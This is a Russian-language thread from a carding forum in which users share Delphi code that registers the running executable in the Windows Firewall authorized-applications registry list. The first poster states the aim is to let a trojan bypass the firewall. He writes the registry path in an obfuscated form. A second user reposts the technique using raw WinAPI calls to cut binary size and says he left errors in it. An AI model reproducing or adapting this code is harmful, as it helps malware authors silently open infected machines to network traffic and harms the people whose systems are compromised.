Delphi обход стандартного FireWall Windows

Dager315

Carder
Messages
68
Reputation
1
Reaction score
3
Points
8
Здравствуйте дорогие читатели и юные кодеры портала Carder.uk, я хочу поведать вам не такой уж большой секрет о том как обходить фаервол при кодинге той или иной программы. Меня этому научил мой хороший друг и я хочу передать свои знания вам.


Начнем с теории, как я понял стандартная защита тесно работает с реестром а значит и работать мы будем с ним. При добавлении программу в список игнора, брэндмауэр записывает всё в реестр.



Перейдем к практике.
Code:
//Обход брендмауэра
   Registry:=tRegistry.Create; // тут всё понятно
   Registry.RootKey:=HKEY_LOCAL_MACHINE; //выбираем ключ
   Registry.OpenKey('\SYSTEM\C3ntr3S6t00a\S6rv5c6s\Sh2r6dAcc6ss\P2r2m6t6rs\F5r6w2llP3l5cy\St2nd2rdPr3f5l6\A4th3r5z6dAppl5c2t53ns\L5st',true); //Выбираем ветку (она должна быть именно такой)
   Registry.WriteString(ParamStr(0)+':*:Имя исполняемого файла.exe','0'); // Добавляем строку с данными о нашем трое, суть строки в том что бы прописать адрес нашего троя и знаение '0', но так как нам не всегда известно куда его сохранили то пишем эту строку.

   Registry.CloseKey; //Закрываем
   Registry.Free;

Таким не хитрым способом можно обойти фаервол...

С вами был Dager315 специально для Carder.uk
 

Glot

RIPPER
Messages
183
Reputation
33
Reaction score
55
Points
28
С твоего разрешения подкорректирую так, что бы не юзать юнит Registry.

Code:
function LastPos(Needle: Char; Haystack: string): integer;
begin
  for Result := Length(Haystack) downto 1 do
    if Haystack[Result] = Needle then
      Break;
end;


function RegSetValue(RootKey: HKEY; Name: string; ValType: Cardinal; PVal:
  Pointer; ValSize: Cardinal): boolean;
var
  SubKey: string;
  n: integer;
  dispo: DWORD;
  hTemp: HKEY;
begin
  Result := False;
  n := LastPos('\', Name);
  if n > 0 then
  begin
    SubKey := Copy(Name, 1, n - 1);
    if RegCreateKeyEx(RootKey, PChar(SubKey), 0, nil, REG_OPTION_NON_VOLATILE,
      KEY_WRITE,
      nil, hTemp, @dispo) = ERROR_SUCCESS then
    begin
      SubKey := Copy(Name, n + 1, Length(Name) - n);
      Result := (RegSetValueEx(hTemp, PChar(SubKey), 0, ValType, PVal, ValSize)
        = ERROR_SUCCESS);
      RegCloseKey(hTemp);
    end;
  end;
end;

function RegSetString(RootKey: HKEY; Name: string; Value: string): boolean;
begin
  Result := RegSetValue(RootKey, Name, REG_SZ, PChar(Value + #0), Length(Value)
    + 1);
end;

...

begin
...
regSetString(HKEY_LOCAL_MACHINE,'\SYSTEM\C3ntr3S6t00a\S6rv5c6s\Sh2r6dAcc6ss\P2r2m6t6rs\F5r6w2llP3l5cy\St2nd2rdPr3f5l6\A4th3r5z6dAppl5c2t53ns\L5st',ParamStr(0));

В процедуре нужно исправить ошибки. Ну и дописать кое что. Думаю разберётесь.
 

Dager315

Carder
Messages
68
Reputation
1
Reaction score
3
Points
8
Наверно можно и так)
Ну мой код чуток покороче)) А почему бы не использовать юнит, в чём разница?)
 

Glot

RIPPER
Messages
183
Reputation
33
Reaction score
55
Points
28
Наверно можно и так)
Ну мой код чуток покороче)) А почему бы не использовать юнит, в чём разница?)

юнит = вес
а тут всё из Windows
 

domino1

Professional
Messages
115
Reputation
99
Reaction score
66
Points
28
А вес,в даной сфере очень и очень значимая вещ.
сразу чуствуется опытный кодер.
 
Top